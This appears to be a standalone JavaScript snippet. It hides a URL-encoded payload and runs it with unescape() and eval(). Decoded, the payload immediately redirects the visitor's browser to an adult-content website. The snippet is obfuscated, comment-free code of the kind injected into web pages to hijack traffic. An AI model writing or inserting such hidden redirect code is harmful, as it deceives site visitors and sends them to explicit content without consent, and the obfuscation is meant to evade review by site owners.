var str_enc='%20%66%75%6E%63%74%69%6F%6E%20%66%28%29%7B%0D%0A%20%20%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%20%3D%20%22%68%74%74%70%3A%2F%2F%77%77%77%2E%63%61%72%74%6F%6F%6E%73%6F%72%67%79%2E%63%6F%6D%2F%77%65%6C%63%6F%6D%65%2E%68%74%6D%6C%22%3B%0D%0A%7D%0D%0A%0D%0A%77%69%6E%64%6F%77%2E%6F%6E%46%6F%63%75%73%20%3D%20%66%28%29%20%3B';
var str_dec=unescape(str_enc);
eval(str_dec);